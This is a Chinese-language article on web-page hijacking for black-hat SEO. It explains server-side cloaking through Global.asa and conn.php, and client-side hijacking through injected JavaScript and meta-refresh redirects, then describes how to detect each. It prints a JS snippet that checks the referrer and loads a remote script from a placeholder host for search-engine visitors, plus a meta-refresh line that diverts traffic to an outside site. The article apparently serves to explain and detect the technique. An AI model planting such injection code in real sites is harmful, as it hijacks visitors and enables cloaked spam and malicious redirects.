網頁劫持的一些說明

  網頁劫持是目前黑帽SEO或者說黑產最喜歡的一種網頁引流方式,此手法往往通過***政府、教育機構網站(權重高),修改網站源代碼、放寄生蟲程序、設置二級目錄反向代理等實現。網頁劫持可以分爲服務端劫持、客戶端劫持、百度快照劫持、百度搜索劫持等等;表現形式可以是劫持跳轉,也可以是劫持呈現的網頁內容,目前被廣泛應用於私服、×××等暴利行業。
  在iis7網站劫持檢測中,這些問題可以比較清楚的檢查出來,從而幫助我們更加清晰的知道要解決什麼問題。
  服務端劫持
  服務端劫持也稱爲全局劫持,手法爲修改網站動態語言文本,判斷訪問來源控制返回內容,從來達到網站劫持的目的。
  asp/aspx/php劫持
  Global.asa、Global.asax、conn.asp、conn.php等文件比較特殊,作用是在每次執行一個動態腳本的時候,都會先加載該腳本, 然後再執行目標腳本。所以只要在 Global.asa 中寫判斷用戶系統信息的代碼(訪問來源等),如果是蜘蛛訪問則返回關鍵詞網頁(想要推廣的網站),如果是用戶訪問,則返回正常頁面。
  客戶端劫持
  客戶端劫持的手法也很多,但主要就是2種:js劫持、Header劫持。
  js劫持
  js劫持目的:通過向目標網頁植入惡意js代碼,控制網站跳轉、隱藏頁面內容、窗口劫持等。
  js植入手法:可以通過***服務器,直接寫入源代碼中;也可以寫在數據庫中,因爲有些頁面會呈現數據庫內容。
  js劫持案例
  效果:通過搜索引擎搜索點擊頁面(執行一段js)跳轉到×××頁面;直接輸入網址訪問網頁,跳轉到404頁面。
  代碼:
  today=new Date();
  today=today.getYear()+"-"+(today.getMonth()+1)+"-"+today.getDate();
  var regexp=/.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(.[a-z0-9-]+){1,2}\//ig;
  var where =document.referer;
  if(regexp.test(where)){
  document.write ('<script language="javascript" type="text/javascript" src="http://www.xxx.com/test.js"></script&gt;');
  }
  else
  {
  window.location.href="../../404.htm";
  }
  分析:通過referer判斷來路,如果referer來路爲空就是跳轉到404頁面,如果是搜索引擎來的referer裏面也會有顯示,然後在寫代碼控制跳轉。如果只是控制實現顯示不同的內容,可以修改php、asp代碼;如果需要劫持搜索引擎搜索框,可以寫JS代碼來做瀏覽器本地跳轉。當然js功能可以無限擴展,比如可以控制一個ip一天內第一次訪問正常,其餘訪問跳轉等等。
  header劫持
  在源代碼中寫入以下代碼:
  1
  <meta http-equiv=“refresh“ content=“10; url=http://thief.one“&gt;
  利用的就是Meta Refresh Tag(自動轉向),將流量引走。
  手法對比
  客戶端劫持與服務端區別
  客戶端劫持:每次訪問網頁從服務端獲取到的網頁代碼都是相同的,只是控制了網頁代碼在瀏覽器中呈現的效果(比如是否進行跳轉等)。
  服務端劫持:改變了每次訪問網頁從服務端獲取到的網頁代碼。
  客戶端劫持與服務端判斷方法
  客戶端劫持的判斷方法:只需觀察瀏覽器呈現的網頁前端代碼,查看是否引用了不當的js,或者其它敏感內容。
  服務端劫持的判斷方法:可以通過觀察網站後端代碼,或者通過改變ip,包頭等方式,觀察放回源碼是否不同。。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章